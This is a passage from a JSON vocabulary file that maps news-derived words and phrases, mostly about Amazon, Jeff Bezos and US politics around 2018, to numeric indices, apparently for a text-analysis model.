\"stripped\": 68470,\n  \"package delivery\": 68471,\n  \"using anonymous\": 68472,\n  \"suits brought\": 68473,\n  \"youngest\": 68474,\n  \"water crisis\": 68475,\n  \"order demanding\": 68476,\n  \"americans richard\": 68477,\n  \"mike segar\": 68478,\n  \"business app\": 68479,\n  \"security risk\": 68480,\n  \"examiner good\": 68481,\n  \"design according\": 68482,\n  \"outside looking\": 68483,\n  \"life changing\": 68484,\n  \"experience instructive\": 68485,\n  \"immigration crimes\": 68486,\n  \"told elite\": 68487,\n  \"almighty\": 68488,\n  \"launch fact\": 68489,\n  \"attracting site\": 68490,\n  \"total taxes\": 68491,\n  \"agency services\": 68492,\n  \"regularly refine\": 68493,\n  \"work related\": 68494,\n  \"today high\": 68495,\n  \"deleting negative\": 68496,\n  \"school media\": 68497,\n  \"apple versus\": 68498,\n  \"tatler\": 68499,\n  \"dodging company\": 68500,\n  \"policy 2018\": 68501,\n  \"specific selected\": 68502,\n  \"circumstances\": 68503,\n  \"state offered\": 68504,\n  \"100x richer\": 68505,\n  \"business carell\": 68506,\n  \"crusade reuters\": 68507,\n  \"children help\": 68508,\n  \"severe illness\": 68509,\n  \"recommends sharpened\": 68510,\n  \"critiques\": 68511,\n  \"poor wages\": 68512,\n  \"response ivanka\": 68513,\n  \"gawande tweeted\": 68514,\n  \"hirono remarks\": 68515,\n  \"race heats\": 68516,\n  \"rights nationwide\": 68517,\n  \"financial\": 68518,\n  \"industry package\": 68519,\n  \"additional intimate\": 68520,\n  \"specialises\": 68521,\n  \"regional delivery\": 68522,\n  \"personal knowledge\": 68523,\n  \"year running\": 68524,\n  \"sent far\": 68525,\n  \"sunlen\": 68526,\n  \"cp redirect\": 68527,\n  \"pretend\": 68528,\n  \"republican national\": 68529,\n  \"war program\": 68530,\n  \"fico\": 68531,\n  \"clear links\": 68532,\n  \"summer rolls\": 68533,\n  \"kevin hassett\": 68534,\n  \"meg energy\": 68535,\n  \"young kids\": 68536,\n  \"paid service\": 68537,\n  \"message used\": 68538,\n  \"crypto hangover\": 68539,\n  \"nonessential\": 68540,\n  \"ensure reasonable\": 68541,\n  \"advance gold\": 68542,\n  \"origin offer\": 68543,\n  \"publicly changed\": 68544,\n  \"just improper\": 68545,\n  \"page plan\": 68546,\n  \"warren tweeted\": 68547,\n  \"tgv\": 68548,\n  \"aronofsky anarchic\": 68549,\n  \"dating scene\": 68550,\n  \"people park\": 68551,\n  \"wwdc 2018\": 68552,\n  \"amazon ended\": 68553,\n  \"buy couple\": 68554,\n  \"spent yearly\": 68555,\n  \"dnainfo gothamist\": 68556,\n  \"advisor warned\": 68557,\n  \"walked free\": 68558,\n  \"state gathered\": 68559,\n  \"following close\": 68560,\n  \"controls large\": 68561,\n  \"extracurricular\": 68562,\n  \"crime charges\": 68563,\n  \"mortar retailing\": 68564,\n  \"house politics\": 68565,\n  \"set pokes\": 68566,\n  \"orchestrating\": 68567,\n  \"better digital\": 68568,\n  \"1969 super\": 68569,\n  \"layoffs\": 68570,\n  \"cvs racial\": 68571,\n  \"beenhit\": 68572,\n  \"firm echo\": 68573,\n  \"hq sympathised\": 68574,\n  \"kill operations\": 68575,\n  \"423\": 68576,\n  \"fba\": 68577,\n  \"israel palestinians\": 68578,\n  \"bet\": 68579,\n  \"narcos\": 68580,\n  \"ayala ferreira\": 68581,\n  \"kate mckinnon\": 68582,\n  \"managers reported\": 68583,\n  \"pen kamhi\": 68584,\n  \"include proposed\": 68585,\n  \"counterfeiting programs\": 68586,\n  \"mediaite\": 68587,\n  \"typical enquirer\": 68588,\n  \"companies apple\": 68589,\n  \"investor concerns\": 68590,\n  \"better valuation\": 68591,\n  \"donnell norahodonnell\": 68592,\n  \"amazon racially\": 68593,\n  \"tweet shares\": 68594,\n  \"follows amazon\": 68595,\n  \"inc_flag_for_reviewflag false\": 68596,\n  \"limit competition\": 68597,\n  \"public spotlight\": 68598,\n  \"cnbc view\": 68599,\n  \"reason pallavi\": 68600,\n  \"government cronyism\": 68601,\n  \"declined saying\": 68602,\n  \"king check\": 68603,\n  \"usps dramatically\": 68604,\n  \"all3media\": 68605,\n  \"consumers employees\": 68606,\n  \"opensecrets\": 68607,\n  \"congratulations france\": 68608,\n  \"disparities remained\": 68609,\n  \"fluctuation\": 68610,\n  \"181008212727 ac\": 68611,\n  \"london ____________________________trump\": 68612,\n  \"plugs\": 68613,\n  \"swears\": 68614,\n  \"new story\": 68615,\n  \"begins moving\": 68616,\n  \"really beautiful\": 68617,\n  \"border\": 68618,\n  \"politicians ranging\": 68619,\n  \"assist app\": 68620,\n  \"inc_prtid inc_activeflag\": 68621,\n  \"sneaky pete\": 68622,\n  \"5billion charitable\": 68623,\n  \"kentucky\": 68624,\n  \"far managed\": 68625,\n  \"parlours\": 68626,\n  \"elizabeth winstead\": 68627,\n  \"helping neighboring\": 68628,\n  \"retaliates\": 68629,\n  \"faux bezos\": 68630,\n  \"little ghoul\": 68631,\n  \"submit letters\": 68632,\n  \"estimates currently\": 68633,\n  \"usps letter\": 68634,\n  \"openly detests\": 68635,\n  \"sboss\": 68636,\n  \"collections want\": 68637,\n  \"amazon jump\": 68638,\n  \"politico pro\": 68639,\n  \"alimony\": 68640,\n  \"000 health\": 68641,\n  \"perfumania facebook\": 68642,\n  \"9oypfoxzk3\": 68643,\n  \"candidate gary\": 68644,\n  \"log a4ee\": 68645,\n  \"400 small\": 68646,\n  \"student debt\": 68647,\n  \"deliver prescription\": 68648,\n  \"van ham\": 68649,\n  \"chocolate chip\": 68650,\n  \"pic sent\": 68651,\n  \"era banks\": 68652,\n  \"potential civil\": 68653,\n  \"strong retail\": 68654,\n  \"funded programs\": 68655,\n  \"conveyed verbally\": 68656,\n  \"elections delivered\": 68657,\n  \"rest breaks\": 68658,\n  \"best moments\": 68659,\n  \"gymnastics trump\": 68660,\n  \"scrappy entrepreneurial\": 68661,\n  \"publicly released\": 68662,\n  \"minimise time\": 68663,\n  \"shelley\": 68664,\n  \"marijuana walmart\": 68665,\n  \"000 volunteer\": 68666,\n  \"train rider\": 68667,\n  \"contacted\": 68668,\n  \"lee brice\": 68669,\n  \"ibankcoin\": 68670,\n  \"held steady\": 68671,\n  \"ordering packages\": 68672,\n  \"fund betting\": 68673,\n  \"blockers\": 68674,\n  \"rep dan\": 68675,\n  \"media videocardcontents\": 68676,\n  \"deplorable decal\": 68677,\n  \"swat away\": 68678,\n  \"curb control\": 68679,\n  \"collins ben\": 68680,\n  \"2019 thanks\": 68681,\n  \"trump phoned\": 68682,\n  \"chilling adventures\": 68683,\n  \"forging son\": 68684,\n  \"brilliant friend\": 68685,\n  \"essentially bot\": 68686,\n  \"reuters bs_bullet_primary\": 68687,\n  \"planned 2018\": 68688,\n  \"market believe\": 68689,\n  \"uk editions\": 68690,\n  \"necessitate\": 68691,\n  \"npr ivanka\": 68692,\n  \"testing facial\": 68693,\n  \"started removing\": 68694,\n  \"ipa\": 68695,\n  \"want published\": 68696,\n  \"multiple grocery\": 68697,\n  \"sure highly\": 68698,\n  \"recently elected\": 68699,\n  \"kenya anti\": 68700,\n  \"telling users\": 68701,\n  \"perfectly priced\": 68702,\n  \"demand higher\": 68703,\n  \"discussed wide\": 68704,\n  \"stocks boosting\": 68705,\n  \"confidence interval\": 68706,\n  \"insider stonesifer\": 68707,\n  \"combat purposes\": 68708,\n  \"evade\": 68709,\n  \"friends congratulate\": 68710,\n  \"broader carrier\": 68711,\n  \"island kingdom\": 68712,\n  \"cbc business\": 68713,\n  \"discussions\": 68714,\n  \"address farrow\": 68715,\n  \"story fingerprint\": 68716,\n  \"berenberg\": 68717,\n  \"ami catch\": 68718,\n  \"contracting\": 68719,\n  \"time philanthropic\": 68720,\n  \"business recently\": 68721,\n  \"academics politicians\": 68722,\n  \"senator plans\": 68723,\n  \"chairman richard\": 68724,\n  \"coward\": 68725,\n  \"lithgow obviously\": 68726,\n  \"tokyo asia\": 68727,\n  \"sanders trump\": 68728,\n  \"public advocate\": 68729,\n  \"imposes sanctions\": 68730,\n  \"corporate democrat\": 68731,\n  \"parts furniture\": 68732,\n  \"hardly needs\": 68733,\n  \"nancy pelosi\": 68734,\n  \"russian interference\": 68735,\n  \"r4 a4\": 68736,\n  \"podcast studio\": 68737,\n  \"inopposition\": 68738,\n  \"black girl\": 68739,\n  \"phishing refers\": 68740,\n  \"life misery\": 68741,\n  \"withdraws offer\": 68742,\n  \"popular high\": 68743,\n  \"mongering nbc\": 68744,\n  \"west immediately\": 68745,\n  \"company benefited\": 68746,\n  \"fund health\": 68747,\n  \"paper digital\": 68748,\n  \"term opioid\": 68749,\n  \"starts helped\": 68750,\n  \"rationing hedging\": 68751,\n  \"military appointments\": 68752,\n  \"kindel\": 68753,\n  \"unethical catch\": 68754,\n  \"crushes retail\": 68755,\n  \"deal shortly\": 68756,\n  \"explain difficult\": 68757,\n  \"schwan truck\": 68758,\n  \"2011 case\": 68759,\n  \"bury negative\": 68760,\n  \"game gtec\": 68761,\n  \"getting orders\": 68762,\n  \"adversary qatar\": 68763,\n  \"apparent surprise\": 68764,\n  \"fargo investors\": 68765,\n  \"ago google\": 68766,\n  \"business hide\": 68767,\n  \"coverage container\": 68768,\n  \"cnbc president\": 68769,\n  \"committee dished\": 68770,\n  \"make final\": 68771,\n  \"digital formats\": 68772,\n  \"various projects\": 68773,\n  \"pillpack company\": 68774,\n  \"earth youtube\": 68775,\n  \"activists charged\": 68776,\n  \"adelson las\": 68777,\n  \"manager told\": 68778,\n  \"issues trump\": 68779,\n  \"virginia parties\": 68780,\n  \"cloud architectures\": 68781,\n  \"facebook execs\": 68782,\n  \"leaked intimate\": 68783,\n  \"amazon reps\": 68784,\n  \"measures nationwide\": 68785,\n  \"cds tightens\": 68786,\n  \"cras\": 68787,\n  \"floats wealth\": 68788,\n  \"unscripted heather\": 68789,\n  \"pecker publishing\": 68790,\n  \"apple investment\": 68791,\n  \"latest threat\": 68792,\n  \"earphones\": 68793,\n  \"return function\": 68794,\n  \"tamebay\": 68795,\n  \"young daughter\": 68796,\n  \"founder did\": 68797,\n  \"deadline\": 68798,\n  \"update retail\": 68799,\n  \"jessica langbaum\": 68800,\n  \"fare increase\": 68801,\n  \"based robotics\": 68802,\n  \"internationally india\": 68803,\n  \"story dimmed\": 68804,\n  \"campaign appearances\": 68805,\n  \"mics andsaid\": 68806,\n  \"watching netflix\": 68807,\n  \"case sure\": 68808,\n  \"shepherded\": 68809,\n  \"urinals finally\": 68810,\n  \"duty serving\": 68811,\n  \"completely tasteless\": 68812,\n  \"tom talks\": 68813,\n  \"lawsuit highlights\": 68814,\n  \"significant responsibility\": 68815,\n  \"live news\": 68816,\n  \"pushes ahead\": 68817,\n  \"bj wholesale\": 68818,\n  \"cloud market\": 68819,\n  \"home construction\": 68820,\n  \"wars 2018\": 68821,\n  \"netflix visual\": 68822,\n  \"chris sununu\": 68823,\n  \"stating\": 68824,\n  \"account just\": 68825,\n  \"current economic\": 68826,\n  \"groups worry\": 68827,\n  \"dowdupont\": 68828,\n  \"cannibalization\": 68829,\n  \"matthew bourke\": 68830,\n  \"house bid\": 68831,\n  \"broadway triumph\": 68832,\n  \"increase sales\": 68833,\n  \"latest atrocities\": 68834,\n  \"tesla production\": 68835,\n  \"allegations exclusively\": 68836,\n  \"scripted\": 68837,\n  \"milgrim\": 68838,\n  \"mini consolidation\": 68839,\n  \"result officials\": 68840,\n  \"editors picks\": 68841,\n  \"popular shoe\": 68842,\n  \"embarrassing reports\": 68843,\n  \"relationship bartiromo\": 68844,\n  \"concedes\": 68845,\n  \"civil defense\": 68846,\n  \"epic kennedy\": 68847,\n  \"sources\": 68848,\n  \"short order\": 68849,\n  \"universal health\": 68850,\n  \"challenges amazon\": 68851,\n  \"research company\": 68852,\n  \"huawei stance\": 68853,\n  \"deliveryservice\": 68854,\n  \"infiltrate politics\": 68855,\n  \"additional 500\": 68856,\n  \"conservative groups\": 68857,\n  \"margin great\": 68858,\n  \"streisand\": 68859,\n  \"demand large\": 68860,\n  \"forcing users\": 68861,\n  \"wall collapsed\": 68862,\n  \"customers incorporate\": 68863,\n  \"honest taxpayer\": 68864,\n  \"xom\": 68865,\n  \"economic expectations\": 68866,\n  \"imaginable merchandise\": 68867,\n  \"npr scotus\": 68868,\n  \"prime shipping\": 68869,\n  \"doubly disappointed\": 68870,\n  \"national mall\": 68871,\n  \"online action\": 68872,\n  \"book barnes\": 68873,\n  \"multicarrier solutions\": 68874,\n  \"paid leave\": 68875,\n  \"skeptics think\": 68876,\n  \"quickly matching\": 68877,\n  \"buy things\": 68878,\n  \"means amazon\": 68879,\n  \"japan toyota\": 68880,\n  \"overcome billion\": 68881,\n  \"separating children\": 68882,\n  \"telstra\": 68883,\n  \"learn skills\": 68884,\n  \"day stocks\": 68885,\n  \"called moderates\": 68886,\n  \"hnhpf\": 68887,\n  \"md seller\": 68888,\n  \"dark realities\": 68889,\n  \"little brother\": 68890,\n  \"increasingly dangerous\": 68891,\n  \"vast globally\": 68892,\n  \"shutdown ends\": 68893,\n  \"kessler\": 68894,\n  \"berlin book\": 68895,\n  \"launch lawsuit\": 68896,\n  \"disturb\": 68897,\n  \"policy enter\": 68898,\n  \"working space\": 68899,\n  \"imagine prison\": 68900,\n  \"foreign retailers\": 68901,\n  \"slansky responding\": 68902,\n  \"lisa su\": 68903,\n  \"contracts including\": 68904,\n  \"kershner quentin\": 68905,\n  \"katie lobosco\": 68906,\n  \"resisted efforts\": 68907,\n  \"win favor\": 68908,\n  \"president following\": 68909,\n  \"tax bonanza\": 68910,\n  \"macs\": 68911,\n  \"firm reported\": 68912,\n  \"president disdain\": 68913,\n  \"owns 276\": 68914,\n  \"book started\": 68915,\n  \"shouted pro\": 68916,\n  \"granting indigenous\": 68917,\n  \"aws segment\": 68918,\n  \"don affect\": 68919,\n  \"point consumers\": 68920,\n  \"reform trump\": 68921,\n  \"offering manigault\": 68922,\n  \"turbulent\": 68923,\n  \"battle reuters\": 68924,\n  \"fourth position\": 68925,\n  \"couple affair\": 68926,\n  \"immigrant detention\": 68927,\n  \"courier\": 68928,\n  \"military deal\": 68929,\n  \"protected commerce\": 68930,\n  \"burnings\": 68931,\n  \"wray\": 68932,\n  \"deficient\": 68933,\n  \"exas nasdaq\": 68934,\n  \"north american\": 68935,\n  \"dogs train\": 68936,\n  \"unsettled race\": 68937,\n  \"talent creativity\": 68938,\n  \"claims attain\": 68939,\n  \"industry specific\": 68940,\n  \"big idea\": 68941,\n  \"content superhero\": 68942,\n  \"remodel\": 68943,\n  \"major renovations\": 68944,\n  \"tech nyc\": 68945,\n  \"oboist\": 68946,\n  \"centric brands\": 68947,\n  \"replacement legislation\": 68948,\n  \"amazon operations\": 68949,\n  \"university industrial\": 68950,\n  \"wire services\": 68951,\n  \"exists owl\": 68952,\n  \"unfolded jeff\": 68953,\n  \"girlfriend\": 68954,\n  \"mark shift\": 68955,\n  \"backman\": 68956,\n  \"does president\": 68957,\n  \"police union\": 68958,\n  \"wayfair asking\": 68959,\n  \"sludge cass\": 68960,\n  \"separate president\": 68961,\n  \"twitter recent\": 68962,\n  \"weekend getaway\": 68963,\n  \"imaging\": 68964,\n  \"appointed new\": 68965,\n  \"professionals greater\": 68966,\n  \"trusts apos\": 68967,\n  \"season won\": 68968,\n  \"nonbank\": 68969,\n  \"ian read\": 68970,\n  \"retroactively raise\": 68971,\n  \"decor\": 68972,\n  \"saber rattling\": 68973,\n  \"erotic text\": 68974,\n  \"predicts nearly\": 68975,\n  \"amazon sign\": 68976,\n  \"great grandchildren\": 68977,\n  \"abuse\": 68978,\n  \"apple forte\": 68979,\n  \"metric includes\": 68980,\n  \"approaching certainty\": 68981,\n  \"democratic party\": 68982,\n  \"asphalt\": 68983,\n  \"average value\": 68984,\n  \"wrote sulzberger\": 68985,\n  \"ignored public\": 68986,\n  \"little trumps\": 68987,\n  \"chaos baseball\": 68988,\n  \"deal remains\": 68989,\n  \"trustees called\": 68990,\n  \"taxpayer insured\": 68991,\n  \"cited unnamed\": 68992,\n  \"alexi lubomirski\": 68993,\n  \"tolerance immigration\": 68994,\n  \"experts representatives\": 68995,\n  \"groupon\": 68996,\n  \"material costs\": 68997,\n  \"shore ala\": 68998,\n  \"financial participation\": 68999,\n  \"love africa\": 69000,\n  \"just disagree\": 69001,\n  \"accredited\": 69002,\n  \"particular batteries\": 69003,\n  \"wiping flushing\": 69004,\n  \"alfalfa club\": 69005,\n  \"100 confident\": 69006,\n  \"official results\": 69007,\n  \"cleanly\": 69008,\n  \"outlet approaches\": 69009,\n  \"ore amazon\": 69010,\n  \"mcdonald sent\": 69011,\n  \"early close\": 69012,\n  \"drug money\": 69013,\n  \"2008 real\": 69014,\n  \"billions\": 69015,\n  \"acosta incident\": 69016,\n  \"latest battle\": 69017,\n  \"provided jobs\": 69018,\n  \"coverage policy\": 69019,\n  \"kavanaugh videocmsurl\": 69020,\n  \"strolling\": 69021,\n  \"transforms\": 69022,\n  \"constantly source\": 69023,\n  \"owned homes\": 69024,\n  \"sales outlook\": 69025,\n  \"online retail\": 69026,\n  \"187 distinct\": 69027,\n  \"800 journalists\": 69028,\n  \"cigna rival\": 69029,\n  \"mccabe ontwitter\": 69030,\n  \"corporate couples\": 69031,\n  \"media cameron\": 69032,\n  \"regulations issued\": 69033,\n  \"marketplace smaller\": 69034,\n  \"enjoyed direct\": 69035,\n  \"expect support\": 69036,\n  \"pixel phone\": 69037,\n  \"president amazon\": 69038,\n  \"webb showtime\": 69039,\n  \"improve tours\": 69040,\n  \"confrontational\": 69041,\n  \"corridors\": 69042,\n  \"providing series\": 69043,\n  \"deliver aid\": 69044,\n  \"kohl macy\": 69045,\n  \"spectacular volcano\": 69046,\n  \"weren captured\": 69047,\n  \"laing norton\": 69048,\n  \"congress paul\": 69049,\n  \"trump argues\": 69050,\n  \"bylund\": 69051,\n  \"gaining investors\": 69052,\n  \"scottie\": 69053,\n  \"dams\": 69054,\n  \"ubiquitous especially\": 69055,\n  \"price 371\": 69056,\n  \"expensive trump\": 69057,\n  \"llp reminds\": 69058,\n  \"choke\": 69059,\n  \"boy joe\": 69060,\n  \"china parscale\": 69061,\n  \"gas pollution\": 69062,\n  \"detect activity\": 69063,\n  \"dinners stone\": 69064,\n  \"house shake\": 69065,\n  \"dossier written\": 69066,\n  \"ugg boots\": 69067,\n  \"ami media\": 69068,\n  \"leading cause\": 69069,\n  \"man dead\": 69070,\n  \"early morning\": 69071,\n  \"investigate working\": 69072,\n  \"donnell norah\": 69073,\n  \"amazon snl\": 69074,\n  \"standing commerce\": 69075,\n  \"marie burt\": 69076,\n  \"wall st\": 69077,\n  \"trafficking hub\": 69078,\n  \"stock unfortunately\": 69079,\n  \"oddity\": 69080,\n  \"jonerp\": 69081,\n  \"fundamental misunderstanding\": 69082,\n  \"news french\": 69083,\n  \"panels\": 69084,\n  \"exceeded trillion\": 69085,\n  \"iv\\u00e1n\": 69086,\n  \"reviling\": 69087,\n  \"150 jobs\": 69088,\n  \"producing fake\": 69089,\n  \"bus millercoors\": 69090,\n  \"pinch caused\": 69091,\n  \"employees corporate\": 69092,\n  \"struggling areas\": 69093,\n  \"powered devices\": 69094,\n  \"stoking concern\": 69095,\n  \"general elections\": 69096,\n  \"sink sears\": 69097,\n  \"repeatedly vilified\": 69098,\n  \"arnade\": 69099,\n  \"says rival\": 69100,\n  \"hickman lasted\": 69101,\n  \"troubling issues\": 69102,\n  \"workforce nationwide\": 69103,\n  \"drugs pass\": 69104,\n  \"amazon mouthpiece\": 69105,\n  \"chasm\": 69106,\n  \"justice lawsuit\": 69107,\n  \"especially says\": 69108,\n  \"significant construction\": 69109,\n  \"country doesn\": 69110,\n  \"ago reservoir\": 69111,\n  \"disparaging comments\": 69112,\n  \"italian man\": 69113,\n  \"propose compromise\": 69114,\n  \"election donald\": 69115,\n  \"retail environment\": 69116,\n  \"fairfax allegations\": 69117,\n  \"luke tilley\": 69118,\n  \"events\": 69119,\n  \"married tv\": 69120,\n  \"nytimes washingtonpost\": 69121,\n  \"company successfully\": 69122,\n  \"change antitrust\": 69123,\n  \"trees online\": 69124,\n  \"ge precrisis\": 69125,\n  \"career built\": 69126,\n  \"right talks\": 69127,\n  \"presidency despite\": 69128,\n  \"helped sotheby\": 69129,\n  \"quo bezos\": 69130,\n  \"sawing stock\": 69131,\n  \"seller chart\": 69132,\n  \"live forever\": 69133,\n  \"briefs amazon\": 69134,\n  \"traces 000\": 69135,\n  \"platform form\": 69136,\n  \"happen domino\": 69137,\n  \"democratic majority\": 69138,\n  \"writer jake\": 69139,\n  \"low partisan\": 69140,\n  \"sovide bloomberg\": 69141,\n  \"ap sessions\": 69142,\n  \"taxes research\": 69143,\n  \"star\": 69144,\n  \"foods worker\": 69145,\n  \"claims strategy\": 69146,\n  \"constantine personal\": 69147,\n  \"enquirer exposed\": 69148,\n  \"897 46b\": 69149,\n  \"hikes\": 69150,\n  \"space women\": 69151,\n  \"coonsdem senator\": 69152,\n  \"\\u00e9migr\\u00e9s mari\": 69153,\n  \"sfe invest\": 69154,\n  \"street america\": 69155,\n  \"abortion measures\": 69156,\n  \"itdepends\": 69157,\n  \"shell\": 69158,\n  \"cloud clients\": 69159,\n  \"respected matt\": 69160,\n  \"lead sponsor\": 69161,\n  \"year operating\": 69162,\n  \"agents posing\": 69163,\n  \"causing problems\": 69164,\n  \"frequent subject\": 69165,\n  \"sketch comedy\": 69166,\n  \"building\": 69167,\n  \"requested revision\": 69168,\n  \"especially prominent\": 69169,\n  \"fedex material\": 69170,\n  \"prominent economist\": 69171,\n  \"trial jury\": 69172,\n  \"personifies\": 69173,\n  \"allies mean\": 69174,\n  \"divided congress\": 69175,\n  \"uncertainty brought\": 69176,\n  \"emotive\": 69177,\n  \"opened low\": 69178,\n  \"schedule bipartisan\": 69179,\n  \"illustrator\": 69180,\n  \"ignorant person\": 69181,\n  \"search ads\": 69182,\n  \"county judges\": 69183,\n  \"galvanized\": 69184,\n  \"sky\": 69185,\n  \"timestamputc lastmodifiedtext\": 69186,\n  \"agency players\": 69187,\n  \"amazon tsla\": 69188,\n  \"say beto\": 69189,\n  \"schappert estimates\": 69190,\n  \"bytes\": 69191,\n  \"yhoo verizon\": 69192,\n  \"safety experts\": 69193,\n  \"peter law\": 69194,\n  \"cancer dad\": 69195,\n  \"voters midterms\": 69196,\n  \"voice stated\": 69197,\n  \"staff welfare\": 69198,\n  \"chuck schumer\": 69199,\n  \"gateway bridge\": 69200,\n  \"fashioned\": 69201,\n  \"srcset\": 69202,\n  \"service amazon\": 69203,\n  \"xi trade\": 69204,\n  \"highly knowledgeable\": 69205,\n  \"composite rebounding\": 69206,\n  \"newspaper exclusive\": 69207,\n  \"age corporations\": 69208,\n  \"embarrassing leaks\": 69209,\n  \"groups organizations\": 69210,\n  \"creature ronyism\": 69211,\n  \"security privacy\": 69212,\n  \"useem honor\": 69213,\n  \"campaign dnc\": 69214,\n  \"vomit\": 69215,\n  \"writer public\": 69216,\n  \"update days\": 69217,\n  \"harsher\": 69218,\n  \"tax evasion\": 69219,\n  \"gaining usmca\": 69220,\n  \"recent daily\": 69221,\n  \"virtual machine\": 69222,\n  \"david cicilline\": 69223,\n  \"sent 020\": 69224,\n  \"authoritarian regimes\": 69225,\n  \"t000040342\": 69226,\n  \"overly soverly\": 69227,\n  \"held firm\": 69228,\n  \"uh hmm\": 69229,\n  \"followed series\": 69230,\n  \"trump dismissed\": 69231,\n  \"principal\": 69232,\n  \"prized asset\": 69233,\n  \"winning team\": 69234,\n  \"travelist aaa\": 69235,\n  \"scale transformations\": 69236,\n  \"optimize\": 69237,\n  \"founder divorce\": 69238,\n  \"unga\": 69239,\n  \"tariff policies\": 69240,\n  \"publicly saying\": 69241,\n  \"tax burden\": 69242,\n  \"high compressed\": 69243,\n  \"criminal history\": 69244,\n  \"right decision\": 69245,\n  \"boiled\": 69246,\n  \"2018 siriously\": 69247,\n  \"tackles hot\": 69248,\n  \"share indian\": 69249,\n  \"stimulate economic\": 69250,\n  \"lewd\": 69251,\n  \"proposed rule\": 69252,\n  \"senders\": 69253,\n  \"stock jointly\": 69254,\n  \"imira founder\": 69255,\n  \"ashland\": 69256,\n  \"google sustained\": 69257,\n  \"pollutants vaccines\": 69258,\n  \"news shows\": 69259,\n  \"marion county\": 69260,\n  \"proposing job\": 69261,\n  \"cooperation walter\": 69262,\n  \"york company\": 69263,\n  \"reproduced\": 69264,\n  \"cadwalladr\": 69265,\n  \"retailer pays\": 69266,\n  \"zeroes\": 69267,\n  \"hennessey executive\": 69268,\n  \"flood insurance\": 69269,\n  \"exclusive content\": 69270,\n  \"announces hq\": 69271,\n  \"second pot\": 69272,\n  \"toronto won\": 69273,\n  \"reagan michael\": 69274,\n  \"amazon bird\": 69275,\n  \"investigator 2018\": 69276,\n  \"inc_lock_articleflag\": 69277,\n  \"government 458\": 69278,\n  \"carterpage jessicabruder\": 69279,\n  \"abbreviation\": 69280,\n  \"zinke foundation\": 69281,\n  \"bezos chat\": 69282,\n  \"ecosystem nasdaq\": 69283,\n  \"similar size\": 69284,\n  \"publicly exchanged\": 69285,\n  \"choice hiking\": 69286,\n  \"adopt new\": 69287,\n  \"slur\": 69288,\n  \"smashing\": 69289,\n  \"journal seattle\": 69290,\n  \"swipes\": 69291,\n  \"claims leave\": 69292,\n  \"beijing belt\": 69293,\n  \"world greatest\": 69294,\n  \"awash\": 69295,\n  \"rm2\": 69296,\n  \"popular companies\": 69297,\n  \"plc nyse\": 69298,\n  \"million 201\": 69299,\n  \"black female\": 69300,\n  \"apos grateful\": 69301,\n  \"predictably\": 69302,\n  \"angela duckworth\": 69303,\n  \"equally rich\": 69304,\n  \"quilombola communities\": 69305,\n  \"understand just\": 69306,\n  \"index sank\": 69307,\n  \"time donation\": 69308,\n  \"insurance amazon\": 69309,\n  \"conducts\": 69310,\n  \"wis new\": 69311,\n  \"usps officials\": 69312,\n  \"2015s devaluation\": 69313,\n  \"procedure does\": 69314,\n  \"seat blue\": 69315,\n  \"frank robinson\": 69316,\n  \"democrats collusion\": 69317,\n  \"water influences\": 69318,\n  \"nervousness\": 69319,\n  \"setting indigenous\": 69320,\n  \"reporting gripping\": 69321,\n  \"pricing cuts\": 69322,\n  \"age affords\": 69323,\n  \"injury california\": 69324,\n  \"fast growth\": 69325,\n  \"attack\": 69326,\n  \"chain commitments\": 69327,\n  \"local opposition\": 69328,\n  \"181001125327 world\": 69329,\n  \"iphone production\": 69330,\n  \"experimental\": 69331,\n  \"recognition regarding\": 69332,\n  \"trump years\": 69333,\n  \"mopop\": 69334,\n  \"bezos face\": 69335,\n  \"smart people\": 69336,\n  \"called amazonbasics\": 69337,\n  \"brutal combination\": 69338,\n  \"cheese sandwich\": 69339,\n  \"helped bezos\": 69340,\n  \"federal poverty\": 69341,\n  \"online included\": 69342,\n  \"boosting\": 69343,\n  \"amazon paused\": 69344,\n  \"related turns\": 69345,\n  \"regulator likened\": 69346,\n  \"entrepreneur philanthropist\": 69347,\n  \"1970s portrays\": 69348,\n  \"money markets\": 69349,\n  \"amazon cooperation\": 69350,\n  \"derail\": 69351,\n  \"ingraham deadpanned\": 69352,\n  \"based alternatives\": 69353,\n  \"letter writing\": 69354,\n  \"globe reports\": 69355,\n  \"headquarters competition\": 69356,\n  \"corp regained\": 69357,\n  \"does security\": 69358,\n  \"website leading\": 69359,\n  \"000 bags\": 69360,\n  \"500 fedex\": 69361,\n  \"cracking open\": 69362,\n  \"emerge\": 69363,\n  \"turnstile\": 69364,\n  \"divisiveness\": 69365,\n  \"vuelta\": 69366,\n  \"862\": 69367,\n  \"va washington\": 69368,\n  \"misidentified dozens\": 69369,\n  \"received couple\": 69370,\n  \"finals gulftimes\": 69371,\n  \"actually happening\": 69372,\n  \"check pattern\": 69373,\n  \"california vetoed\": 69374,\n  \"doing stuff\": 69375,\n  \"custody battle\": 69376,\n  \"better understood\": 69377,\n  \"cover highlights\": 69378,\n  \"recently executive\": 69379,\n  \"enforce trademark\": 69380,\n  \"civilized\": 69381,\n  \"transphobic costume\": 69382,\n  \"relative newcomer\": 69383,\n  \"kind attitude\": 69384,\n  \"wawx pic\": 69385,\n  \"raked\": 69386,\n  \"journalist maria\": 69387,\n  \"uniforms\": 69388,\n  \"attached dreidels\": 69389,\n  \"computer technicians\": 69390,\n  \"seth moulton\": 69391,\n  \"overlord\": 69392,\n  \"sex abuse\": 69393,\n  \"semitism resolution\": 69394,\n  \"party champion\": 69395,\n  \"rampant consumer\": 69396,\n  \"melted\": 69397,\n  \"michelle leclair\": 69398,\n  \"worse used\": 69399,\n  \"billion profit\": 69400,\n  \"buzzfeed new\": 69401,\n  \"vlad right\": 69402,\n  \"warren spoke\": 69403,\n  \"pizza packages\": 69404,\n  \"long anticipated\": 69405,\n  \"eqnjgycf32 daniel\": 69406,\n  \"bomb maker\": 69407,\n  \"seemingly impossible\": 69408,\n  \"spend read\": 69409,\n  \"just modern\": 69410,\n  \"articles imported\": 69411,\n  \"rica\": 69412,\n  \"president long\": 69413,\n  \"recorded effort\": 69414,\n  \"joining fema\": 69415,\n  \"broad license\": 69416,\n  \"modernizr modernizr\": 69417,\n  \"kids online\": 69418,\n  \"develop national\": 69419,\n  \"big management\": 69420,\n  \"deserve billions\": 69421,\n  \"riveting\": 69422,\n  \"predicted amazon\": 69423,\n  \"explicitly enshrined\": 69424,\n  \"kindness chinese\": 69425,\n  \"hanin marriage\": 69426,\n  \"lynn director\": 69427,\n  \"repeated targeted\": 69428,\n  \"twitter ads\": 69429,\n  \"pagliano\": 69430,\n  \"landsberg\": 69431,\n  \"morning schiff\": 69432,\n  \"forecasts walmart\": 69433,\n  \"schedules webcast\": 69434,\n  \"instead apprentices\": 69435,\n  \"broken bananah\": 69436,\n  